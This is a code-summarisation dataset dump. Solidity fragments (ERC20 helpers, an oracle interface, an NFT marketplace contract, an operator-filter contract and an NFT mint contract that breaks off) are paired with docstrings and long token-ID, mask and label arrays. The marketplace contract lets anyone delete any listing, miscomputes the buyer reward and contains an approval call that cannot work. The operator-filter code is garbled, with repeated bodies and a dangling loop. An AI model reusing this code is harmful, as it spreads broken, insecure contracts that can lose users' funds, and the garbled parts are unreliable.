"ERC20: transfer amount exceeds balance" ); _balances[sender] = senderBalance.sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens. * * This internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve( address owner, address spender, uint256 amount ) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 amount ) internal virtual {} /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements: * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements: * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); uint256 accountBalance = _balances[account]; require(accountBalance >= amount, "ERC20: burn amount exceeds balance"); _balances[account] = accountBalance - amount; _totalSupply -= amount; emit Transfer(account, address(0), amount); } }
* @dev See {IERC20-transferFrom}. Emits an {Approval} event indicating the updated allowance. This is not required by the EIP. See the note at the beginning of {ERC20}. Requirements: - `sender` and `recipient` cannot be the zero address. - `sender` must have a balance of at least `amount`. - the caller must have allowance for ``sender``'s tokens of at least `amount`./
function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require( currentAllowance >= amount, "ERC20: transfer amount exceeds allowance" ); _approve(sender, _msgSender(), currentAllowance.sub(amount)); return true; }
328,000
[ 1, 9704, 288, 45, 654, 39, 3462, 17, 13866, 1265, 5496, 7377, 1282, 392, 288, 23461, 97, 871, 11193, 326, 3526, 1699, 1359, 18, 1220, 353, 486, 1931, 635, 326, 512, 2579, 18, 2164, 326, 4721, 622, 326, 8435, 434, 288, 654, 39, 3462, 5496, 29076, 30, 300, 1375, 15330, 68, 471, 1375, 20367, 68, 2780, 506, 326, 3634, 1758, 18, 300, 1375, 15330, 68, 1297, 1240, 279, 11013, 434, 622, 4520, 1375, 8949, 8338, 300, 326, 4894, 1297, 1240, 1699, 1359, 364, 12176, 15330, 10335, 11, 87, 2430, 434, 622, 4520, 1375, 8949, 8338, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 7412, 1265, 12, 203, 3639, 1758, 5793, 16, 203, 3639, 1758, 8027, 16, 203, 3639, 2254, 5034, 3844, 203, 565, 262, 1071, 5024, 3849, 1135, 261, 6430, 13, 288, 203, 3639, 389, 13866, 12, 15330, 16, 8027, 16, 3844, 1769, 203, 203, 3639, 2254, 5034, 783, 7009, 1359, 273, 389, 5965, 6872, 63, 15330, 6362, 67, 3576, 12021, 1435, 15533, 203, 3639, 2583, 12, 203, 5411, 783, 7009, 1359, 1545, 3844, 16, 203, 5411, 315, 654, 39, 3462, 30, 7412, 3844, 14399, 1699, 1359, 6, 203, 3639, 11272, 203, 3639, 389, 12908, 537, 12, 15330, 16, 389, 3576, 12021, 9334, 783, 7009, 1359, 18, 1717, 12, 8949, 10019, 203, 203, 3639, 327, 638, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; interface IOracle { function getOutcomeTokenIds(bytes32 marketIdentifier) external pure returns (uint,uint); function getReserveTokenIds(bytes32 marketIdentifier) external pure returns (uint,uint); function getMarketIdentifier(address _creator, bytes32 _eventIdentifier) external view returns (bytes32 marketIdentifier); function collateralToken() external view returns (address); function outcomeReserves(bytes32 marketIdentifier) external view returns (uint256, uint256); function marketDetails(bytes32 marketIdentifier) external view returns (address, uint32, uint32); function stateDetails(bytes32 marketIdentifier) external view returns ( uint32, uint32, uint32, uint32, uint32, uint16, uint16, uint8, uint8 ); function staking(bytes32 marketIdentifier) external view returns (uint256, address, address, uint8); function stakingReserves(bytes32 marketIdentifier) external view returns (uint256, uint256); function creators(bytes32 marketIdentifier) external view returns (address); function manager() external view returns (address); // function balanceOf(address _owner, uint256 _id) external view returns (uint256); function createAndFundMarket(address _creator, bytes32 _eventIdentifier) external; function buy(uint amount0, uint amount1, address to, bytes32 marketIdentifier) external; function sell(uint amount, address to, bytes32 marketIdentifier) external; function stakeOutcome(uint8 _for, bytes32 marketIdentifier, address to) external; function redeemWinning(address to, bytes32 marketIdentifier) external; function redeemStake(bytes32 marketIdentifier, address to) external; function setOutcome(uint8 outcome, bytes32 marketIdentifier) external; function claimOutcomeReserves(bytes32 marketIdentifier) external; function updateMarketConfig( bool _isActive, uint32 _feeNumerator, uint32 _feeDenominator, uint16 _donEscalationLimit, uint32 _expireBufferBlocks, uint32 _donBufferBlocks, uint32 _resolutionBufferBlocks ) external; function updateCollateralToken(address token) external; function updateManager(address _manager) external; }
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
interface IOracle { function getOutcomeTokenIds(bytes32 marketIdentifier) external pure returns (uint,uint); function getReserveTokenIds(bytes32 marketIdentifier) external pure returns (uint,uint); function getMarketIdentifier(address _creator, bytes32 _eventIdentifier) external view returns (bytes32 marketIdentifier); function collateralToken() external view returns (address); function outcomeReserves(bytes32 marketIdentifier) external view returns (uint256, uint256); function marketDetails(bytes32 marketIdentifier) external view returns (address, uint32, uint32); function stateDetails(bytes32 marketIdentifier) external view returns ( uint32, uint32, uint32, uint32, uint32, uint16, uint16, uint8, uint8 ); function staking(bytes32 marketIdentifier) external view returns (uint256, address, address, uint8); function stakingReserves(bytes32 marketIdentifier) external view returns (uint256, uint256); function creators(bytes32 marketIdentifier) external view returns (address); function manager() external view returns (address); function createAndFundMarket(address _creator, bytes32 _eventIdentifier) external; function buy(uint amount0, uint amount1, address to, bytes32 marketIdentifier) external; function sell(uint amount, address to, bytes32 marketIdentifier) external; function stakeOutcome(uint8 _for, bytes32 marketIdentifier, address to) external; function redeemWinning(address to, bytes32 marketIdentifier) external; function redeemStake(bytes32 marketIdentifier, address to) external; function setOutcome(uint8 outcome, bytes32 marketIdentifier) external; function claimOutcomeReserves(bytes32 marketIdentifier) external; function updateMarketConfig( bool _isActive, uint32 _feeNumerator, uint32 _feeDenominator, uint16 _donEscalationLimit, uint32 _expireBufferBlocks, uint32 _donBufferBlocks, uint32 _resolutionBufferBlocks ) external; function updateCollateralToken(address token) external; function updateManager(address _manager) external; }
2,565,429
[ 1, 915, 11013, 951, 12, 2867, 389, 8443, 16, 2254, 5034, 389, 350, 13, 3903, 1476, 1135, 261, 11890, 5034, 1769, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 5831, 1665, 16873, 288, 203, 565, 445, 336, 19758, 1345, 2673, 12, 3890, 1578, 13667, 3004, 13, 3903, 16618, 1135, 261, 11890, 16, 11890, 1769, 203, 565, 445, 31792, 6527, 1345, 2673, 12, 3890, 1578, 13667, 3004, 13, 3903, 16618, 1135, 261, 11890, 16, 11890, 1769, 203, 565, 445, 23232, 278, 3004, 12, 2867, 389, 20394, 16, 1731, 1578, 389, 2575, 3004, 13, 3903, 1476, 1135, 261, 3890, 1578, 13667, 3004, 1769, 203, 565, 445, 4508, 2045, 287, 1345, 1435, 3903, 1476, 1135, 261, 2867, 1769, 203, 565, 445, 12884, 607, 264, 3324, 12, 3890, 1578, 13667, 3004, 13, 3903, 1476, 1135, 261, 11890, 5034, 16, 2254, 5034, 1769, 203, 565, 445, 13667, 3790, 12, 3890, 1578, 13667, 3004, 13, 3903, 1476, 1135, 261, 2867, 16, 2254, 1578, 16, 2254, 1578, 1769, 203, 565, 445, 919, 3790, 12, 3890, 1578, 13667, 3004, 13, 3903, 1476, 1135, 261, 203, 3639, 2254, 1578, 16, 203, 3639, 2254, 1578, 16, 203, 3639, 2254, 1578, 16, 203, 3639, 2254, 1578, 16, 203, 3639, 2254, 1578, 16, 203, 3639, 2254, 2313, 16, 203, 3639, 2254, 2313, 16, 203, 3639, 2254, 28, 16, 203, 3639, 2254, 28, 203, 565, 11272, 203, 565, 445, 384, 6159, 12, 3890, 1578, 13667, 3004, 13, 3903, 1476, 1135, 261, 11890, 5034, 16, 1758, 16, 1758, 16, 2254, 28, 1769, 203, 565, 445, 384, 6159, 607, 264, 3324, 12, 3890, 1578, 13667, 3004, 13, 3903, 1476, 1135, 261, 11890, 5034, 16, 2254, 5034, 1769, 203, 565, 445, 1519, 3062, 12, 3890, 1578, 13667, 3004, 13, 2 ]
pragma solidity >=0.8.0; //SPDX-License-Identifier: MIT import "hardhat/console.sol"; import "@openzeppelin/contracts/utils/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC721/ERC721.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract WagmiContract is ReentrancyGuard { using SafeMath for uint256; struct Listing { // Identifier uint256 id; // a boolean to check that the listing exists. bool exists; // address of the NFT contract. address tokenAddr; // id of the token on the NFT contract. uint256 tokenId; // address of the owner. address ownerAddr; // price of the NFT to be sold at, in base 10^18. uint256 listPrice; // commission given to promoters for referring people, in base 10^2. uint256 promoterReward; // discount given to buyers if they are referred, in base 10^2. uint256 buyerReward; // Token Image URI string resourceUri; // Metadata name string resourceName; } // the NFTs that are being sold on Wagmi. uint256 listingId = 0; // index (listingId) => Listing Listing[] listings; // the set of registered promoters. mapping used for O(1) access. mapping(address => bool) promoters; event NewListing(uint256 _listingId); event BoughtListing(uint256 _listingId); /** * Gives WagmiContract the authority to manage the owner's NFT. * @param _tokenAddr address of the NFT contract. * @param _tokenId id of the token on the NFT contract. */ function approveWagmi(address _tokenAddr, uint256 _tokenId) internal { require( IERC721(_tokenAddr).ownerOf(_tokenId) == msg.sender, "Token is not owned by caller" ); IERC721(_tokenAddr).approve(address(this), _tokenId); } /** * Gets all the listings on the platform * TODO: Limit listings */ function getListings() external view returns (Listing[] memory) { return listings; } /** * Lists an NFT on the Wagmi marketplace. * @param _tokenAddr address of the NFT contract. * @param _tokenId id of the token on the NFT contract. * @param _listPrice price of the NFT to be sold at. * @param _promoterReward commission given to promoters for referring people. * @param _buyerReward discount given to buyers if they are referred. * todo: ensure that msg.sender is owner of NFT. */ function listNFT( address _tokenAddr, uint256 _tokenId, uint256 _listPrice, uint256 _promoterReward, uint256 _buyerReward ) external payable returns (uint256) { uint256 expectedDeposit = _listPrice .mul(_promoterReward.add(_buyerReward)) .div(100); require(msg.value == expectedDeposit, "Expected deposit is wrong"); listings.push( Listing({ id: listingId, exists: true, tokenAddr: _tokenAddr, tokenId: _tokenId, ownerAddr: msg.sender, listPrice: _listPrice, promoterReward: _promoterReward, buyerReward: _buyerReward, resourceUri: ERC721(_tokenAddr).tokenURI(_tokenId), resourceName: ERC721(_tokenAddr).name() }) ); approveWagmi(_tokenAddr, _tokenId); emit NewListing(listingId); return listingId++; } /** * Retrieves the information of a listing on the Wagmi marketplace. * @param _listingId id of the listing. * @return the information of the listing. */ function getListing(uint256 _listingId) external view returns (Listing memory) { require(_listingId <= listingId, "Invalid listing id"); require(listings[_listingId].exists == true, "listing does not exist"); return listings[_listingId]; } /** * Delist an NFT from the Wagmi marketplace. * @param _listingId id of the listing. */ function removeListing(uint256 _listingId) external { require(_listingId <= listingId, "Invalid listing id"); require(listings[_listingId].exists == true, "listing does not exist"); delete listings[_listingId]; } /** * Allow people to sign up as promoters on the Wagmi marketplace. */ function promoterSignUp() external { promoters[msg.sender] = true; } function isPromoter() external view returns (bool) { return promoters[msg.sender]; } /** * Purchase an NFT. * @param _listingId id of the listing. * @param _promoterAddr address of the referrer. the null address (0x0) * is used if the NFT is bought without a promoter address. */ function buyNFT(uint256 _listingId, address _promoterAddr) external payable nonReentrant { require(_listingId <= listingId, "Invalid listing id"); Listing storage listing = listings[_listingId]; require(listing.exists, "Listing does not exist anymore"); require( msg.value >= listing.listPrice, "Buyer amount is below listed price" ); address tokenOperator = IERC721(listing.tokenAddr).getApproved( listing.tokenId ); require( tokenOperator == address(this), "Contract is not approved to send NFT" ); // Transfer commission if (_promoterAddr != address(0)) { uint256 promoterRewardFee = listing .promoterReward .mul(listing.listPrice) .div(100); uint256 buyerRewardFee = listing.buyerReward.mul(listing.buyerReward).div( 100 ); payable(_promoterAddr).transfer(promoterRewardFee); (bool success, ) = msg.sender.call{value: buyerRewardFee}(""); require(success, "Sending reward to buyer failed"); } // TODO: Replace with safeTransferFrom by checking ERC721Receiver implementer IERC721(listing.tokenAddr).transferFrom( listing.ownerAddr, msg.sender, listing.tokenId ); payable(listing.ownerAddr).transfer(listing.listPrice); emit BoughtListing(_listingId); } }
* Gives WagmiContract the authority to manage the owner's NFT. @param _tokenAddr address of the NFT contract. @param _tokenId id of the token on the NFT contract./
function approveWagmi(address _tokenAddr, uint256 _tokenId) internal { require( IERC721(_tokenAddr).ownerOf(_tokenId) == msg.sender, "Token is not owned by caller" ); IERC721(_tokenAddr).approve(address(this), _tokenId); }
15,794,856
[ 1, 43, 3606, 678, 346, 9197, 8924, 326, 11675, 358, 10680, 326, 3410, 1807, 423, 4464, 18, 225, 389, 2316, 3178, 1758, 434, 326, 423, 4464, 6835, 18, 225, 389, 2316, 548, 612, 434, 326, 1147, 603, 326, 423, 4464, 6835, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 225, 445, 6617, 537, 59, 346, 9197, 12, 2867, 389, 2316, 3178, 16, 2254, 5034, 389, 2316, 548, 13, 2713, 288, 203, 565, 2583, 12, 203, 1377, 467, 654, 39, 27, 5340, 24899, 2316, 3178, 2934, 8443, 951, 24899, 2316, 548, 13, 422, 1234, 18, 15330, 16, 203, 1377, 315, 1345, 353, 486, 16199, 635, 4894, 6, 203, 565, 11272, 203, 565, 467, 654, 39, 27, 5340, 24899, 2316, 3178, 2934, 12908, 537, 12, 2867, 12, 2211, 3631, 389, 2316, 548, 1769, 203, 225, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./partial_match/1/0x3De00491D141fC9054eDF8B45e72941535BfFF51/sources/NATURANFT.sol
@notice Optimized and flexible operator filterer to abide to OpenSea's mandatory on-chain royalty enforcement in order for new collections to receive royalties. For more information, see: See: https://github.com/ProjectOpenSea/operator-filter-registry
abstract contract OperatorFilterer { address internal constant _DEFAULT_SUBSCRIPTION = 0x3cc6CddA760b79bAfa08dF41ECFA224f810dCeB6; address internal constant _OPERATOR_FILTER_REGISTRY = 0x000000000000AAeB6D7670E522A718067333cd4E; function _registerForOperatorFiltering() internal virtual { _registerForOperatorFiltering(_DEFAULT_SUBSCRIPTION, true); } function _registerForOperatorFiltering(address subscriptionOrRegistrantToCopy, bool subscribe) internal virtual { assembly { subscriptionOrRegistrantToCopy := shr(96, shl(96, subscriptionOrRegistrantToCopy)) if iszero(subscriptionOrRegistrantToCopy) { break } break } mstore(0x00, shl(224, functionSelector)) mstore(0x04, address()) mstore(0x24, subscriptionOrRegistrantToCopy) if iszero(call(gas(), _OPERATOR_FILTER_REGISTRY, 0, 0x00, 0x44, 0x00, 0x04)) { if eq(shr(224, mload(0x00)), functionSelector) { revert(0, 0) } } } function _registerForOperatorFiltering(address subscriptionOrRegistrantToCopy, bool subscribe) internal virtual { assembly { subscriptionOrRegistrantToCopy := shr(96, shl(96, subscriptionOrRegistrantToCopy)) if iszero(subscriptionOrRegistrantToCopy) { break } break } mstore(0x00, shl(224, functionSelector)) mstore(0x04, address()) mstore(0x24, subscriptionOrRegistrantToCopy) if iszero(call(gas(), _OPERATOR_FILTER_REGISTRY, 0, 0x00, 0x44, 0x00, 0x04)) { if eq(shr(224, mload(0x00)), functionSelector) { revert(0, 0) } } } for {} iszero(subscribe) {} { function _registerForOperatorFiltering(address subscriptionOrRegistrantToCopy, bool subscribe) internal virtual { assembly { subscriptionOrRegistrantToCopy := shr(96, shl(96, subscriptionOrRegistrantToCopy)) if iszero(subscriptionOrRegistrantToCopy) { break } break } mstore(0x00, shl(224, functionSelector)) mstore(0x04, address()) mstore(0x24, subscriptionOrRegistrantToCopy) if iszero(call(gas(), _OPERATOR_FILTER_REGISTRY, 0, 0x00, 0x44, 0x00, 0x04)) { if eq(shr(224, mload(0x00)), functionSelector) { revert(0, 0) } } } function _registerForOperatorFiltering(address subscriptionOrRegistrantToCopy, bool subscribe) internal virtual { assembly { subscriptionOrRegistrantToCopy := shr(96, shl(96, subscriptionOrRegistrantToCopy)) if iszero(subscriptionOrRegistrantToCopy) { break } break } mstore(0x00, shl(224, functionSelector)) mstore(0x04, address()) mstore(0x24, subscriptionOrRegistrantToCopy) if iszero(call(gas(), _OPERATOR_FILTER_REGISTRY, 0, 0x00, 0x44, 0x00, 0x04)) { if eq(shr(224, mload(0x00)), functionSelector) { revert(0, 0) } } } function _registerForOperatorFiltering(address subscriptionOrRegistrantToCopy, bool subscribe) internal virtual { assembly { subscriptionOrRegistrantToCopy := shr(96, shl(96, subscriptionOrRegistrantToCopy)) if iszero(subscriptionOrRegistrantToCopy) { break } break } mstore(0x00, shl(224, functionSelector)) mstore(0x04, address()) mstore(0x24, subscriptionOrRegistrantToCopy) if iszero(call(gas(), _OPERATOR_FILTER_REGISTRY, 0, 0x00, 0x44, 0x00, 0x04)) { if eq(shr(224, mload(0x00)), functionSelector) { revert(0, 0) } } } mstore(0x24, 0) }
4,043,091
[ 1, 13930, 1235, 471, 16600, 1523, 3726, 1034, 264, 358, 1223, 831, 358, 3502, 1761, 69, 1807, 11791, 603, 17, 5639, 721, 93, 15006, 12980, 475, 316, 1353, 364, 394, 6980, 358, 6798, 721, 93, 2390, 606, 18, 2457, 1898, 1779, 16, 2621, 30, 2164, 30, 2333, 2207, 6662, 18, 832, 19, 4109, 3678, 1761, 69, 19, 9497, 17, 2188, 17, 9893, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 17801, 6835, 11097, 1586, 264, 288, 203, 565, 1758, 2713, 5381, 389, 5280, 67, 8362, 11133, 273, 374, 92, 23, 952, 26, 39, 449, 37, 27, 4848, 70, 7235, 70, 37, 507, 6840, 72, 42, 9803, 7228, 2046, 23622, 74, 28, 2163, 72, 39, 73, 38, 26, 31, 203, 203, 565, 1758, 2713, 5381, 389, 26110, 67, 11126, 67, 5937, 25042, 273, 374, 92, 12648, 2787, 5284, 73, 38, 26, 40, 6669, 7301, 41, 25, 3787, 37, 27, 2643, 7677, 27, 3707, 23, 4315, 24, 41, 31, 203, 203, 203, 203, 565, 445, 389, 4861, 1290, 5592, 30115, 1435, 2713, 5024, 288, 203, 3639, 389, 4861, 1290, 5592, 30115, 24899, 5280, 67, 8362, 11133, 16, 638, 1769, 203, 565, 289, 203, 203, 565, 445, 389, 4861, 1290, 5592, 30115, 12, 2867, 4915, 1162, 20175, 970, 774, 2951, 16, 1426, 9129, 13, 203, 3639, 2713, 203, 3639, 5024, 203, 565, 288, 203, 3639, 19931, 288, 203, 203, 5411, 4915, 1162, 20175, 970, 774, 2951, 519, 699, 86, 12, 10525, 16, 699, 80, 12, 10525, 16, 4915, 1162, 20175, 970, 774, 2951, 3719, 203, 203, 7734, 309, 353, 7124, 12, 11185, 1162, 20175, 970, 774, 2951, 13, 288, 203, 10792, 898, 203, 7734, 289, 203, 7734, 898, 203, 5411, 289, 203, 5411, 312, 2233, 12, 20, 92, 713, 16, 699, 80, 12, 23622, 16, 445, 4320, 3719, 203, 5411, 312, 2233, 12, 20, 92, 3028, 16, 1758, 10756, 203, 5411, 312, 2233, 12, 20, 92, 3247, 16, 4915, 1162, 20175, 970, 774, 2951, 13, 203, 5411, 2 ]
// SPDX-License-Identifier: GPL-3.0 // Author: Pagzi Tech Inc. | 2021 pragma solidity ^0.8.10; import "./pagzi/ERC721Enum.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; import "@openzeppelin/contracts/utils/Strings.sol"; import "@openzeppelin/contracts/security/ReentrancyGuard.sol"; contract Raksasas is ERC721Enum, Ownable, ReentrancyGuard { using Strings for uint256; uint256 public cost = 0.025 ether; uint256 public allowListCost = 0.01 ether; uint256 public maxSupply = 8888; uint256 public maxMintAmount = 20; uint256 private reserved = 888; uint256 public nftPerAddressLimit = 1; bool inside; bool public paused = true; string public baseURI; string public baseExtension = ".json"; address[] public whitelistedAddresses; address an = 0x7a0876cBa8146f9Ad39876d83593D99B2A0ffc7b; address gu = 0xE35374A6Db102187c9a77c54CEA1E891B32839e7; address hu = 0x66e4D5FB3B9710C1C30fe34F968A9ad45a9A855e; address je = 0x7B85A22dB64690f7229Cbf494614f395274efacb; address lu = 0xBb18BB346C421BC998788A2F3D0a5ed9Fa3F8060; address va = 0xCf5482620e3283A015575d106d14fa877529eCD5; mapping(address => uint256) public addressMintedBalance; constructor(string memory _initBaseURI) ERC721P("Raksasas", "RAKS") { setBaseURI(_initBaseURI); } function mint(uint256 _mintAmount) public payable nonReentrant { require(!paused, "Sales are paused!"); require( _mintAmount > 0 && _mintAmount <= maxMintAmount, "Too many NFTs to mint" ); uint256 supply = totalSupply(); require( supply + _mintAmount <= maxSupply - reserved, "Not enough NFTs available" ); require(msg.value >= cost * _mintAmount); for (uint256 i; i < _mintAmount; i++) { _safeMint(msg.sender, supply + i, ""); } } function mintWhiteListed(uint256 _mintAmount) public payable nonReentrant { require(!paused, "Sales are paused!"); require( _mintAmount > 0 && _mintAmount <= nftPerAddressLimit, "Too many NFTs to mint" ); uint256 supply = totalSupply(); require( supply + _mintAmount <= maxSupply - reserved, "Not enough NFTs available" ); require(isWhitelisted(msg.sender), "User is not whitelisted"); uint256 ownerMintedCount = 